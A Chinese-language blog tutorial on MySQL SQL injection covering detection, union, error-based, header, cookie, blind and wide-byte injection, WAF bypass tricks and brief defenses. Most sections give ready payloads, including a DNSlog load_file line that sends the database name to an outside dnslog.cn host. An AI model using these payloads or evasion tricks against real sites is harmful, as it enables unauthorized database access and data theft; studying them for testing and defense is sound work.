渗透--SQL注入(mysql篇)

SQL注入形成原因

SQL注入漏洞的形成原因是在数据交换中,前端的数据传入后台未进行严格判断和处理,导致传入的数据拼接到SQL语句中后被执行。导致数据库信息泄露和损害。

SQL注入点与验证

SQL验证

1.“单引号”

在链接后加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,报错信息,SQL语法错误,该链接可能存在注入漏洞,说明代入数据库查询,与数据库交互了。 
2.and 1=1 和 and 1=2 

很多时候提交包含单引号的链接时,会提示非法字符,或者不返回任何信息,但这并不等于不存在SQL注入漏洞此时可使用经典的“1=1和1=2”法进行检测,在链接地址后分别加上 and 1=1 # 和 and 1=2 # 进行提交,如果返回不同的页面,说明存在SQL注入漏洞。

SQL注入点

1.与数据库交互的动态页面,带参数

 http://www.*****.com/***.asp?id=xx (ASP注入)
 http://www.*****.com/***.php?id=xx (PHP注入)
 http://www.*****.com/***.jsp?id=xx (JSP注入)

2.登录、注册、更新、查询、删除、留言板等,增删改查

Http Header头、Cookice、User-Agent、XFF、Referer、GET、POST、request提交数据包的地方 关键字:select、insert、update、$_GET、$_POST、$_REQUEST

SQL注入的分类

常规注入

字符型
搜索型
xx型
数字型(POST)

union注入

查询主查询字段

xx' order by 1#

查看可写字段

xx' union select 1,2,3 #

查询数据库名、当前用户、版本

xx' union select database(),user(),version() #

基于函数报错注入

为什么要用函数报错呢,是因为一些注入测试手段,可能看不到报错,被屏蔽或者处理了,就不好判断是否有注入点,所以需要函数报错注入。一次只能查询一条数据,没有联合查询 union select 效率高。

 三个常用的报错函数 Updatexml()  floor()  extractvalue()
payload格式    xx' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

insert注入

insert注入,就是前端注册提交的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

payload格式    'or updatexml(1,concat(0x7e,(select database())),1) or'

update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端(或者修改数据的地方)

delete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,一般普通的用户是没有权限删除数据的,管理员才行。

payload格式    or updatexml(2,concat(0x7e,(database())),0)

#注意这是个数字型注入,所以不要引号昂 

Http Header注入

登陆后去BurpSuite中找到登陆地GET请求,注意,不是点击登录那个请求,而是登录成功之后加载页面的那个get请求昂,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入 payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or ' ,因为有些企业把user-agent等请求头键值对的数据也保存在了数据库里面。

 在User-Agent输入 payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or ' 

Cookie注入

Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都会对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’观察反馈MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前是否相同。

payload格式    ant[uname]=admin后设置Payload 'and updatexml (1,concat(0x7e,database()),0)#

盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端    我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

布尔型
根据名字第1个字母的ascii码判断
select ascii(substr(database(),1,1))>xx;
根据名字长度判断
select length(database())<xx


时间型
xx' and if(length(database())>3,sleep(10),null) #
benchmark() 重复执行某表达式
select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟,
比如select benchmark(1000000,encode("hello","good"));
select benchmark( 5000000, md5( 'test' ));​


报错型

宽字节注入

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是说:%df\'= %df%5c%27=運' ,一个汉字占了前面两个字节,那么就剩下%27了,它是单引号,有了单引号就好注入了。

 dnslog注入

and (select load_file(concat('\\\\',(select database()),'.vlfrr9.dnslog.cn\\abc')))--+&Submit=Submit#

注入常用函数

order by   判断数据库的列数
xx' order by 3 #
length   (可选)规定被返回字符串的长度。
xx' and length(database())>3 #
string   返回其中一部分的字符串。
xx' and ascii(substr(database(),1,1))=112 #
if (时间盲注)
xx' and if(length(database())>3,sleep(10),null) #
ascii   转换对应的ascii码 

 SQL注入过waf的方法

    1.数据分块传输 
    2.双写,大小写混合 
    3.参数污染   id=1&id=1 
    4.内联注释 /*!select*/ 
    5.进行两次编码  url unicode bset64 
    6.组合法 如 and 可以用&&再 URL 编码 
    7.替换法,如 and 改成&&;=可以用 like 或 in 等  
    8.关键字可以用%(只限 IIS 系列)。比如 select    可以 sel%e%ct

SQL注入的防范

    1.waf
    2.限制好数据库权限
    3.关闭网站的错误提示
    4.开启魔法符号  magic_quotes_gpc=on
    5.对输入进行过滤
    6.is_numeric(),参数只能输入数字
    7.根据业务需求进行正则过滤,比如要求输入手机号,则只允许输入手机号格式的数字
    8.PDO预处理

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值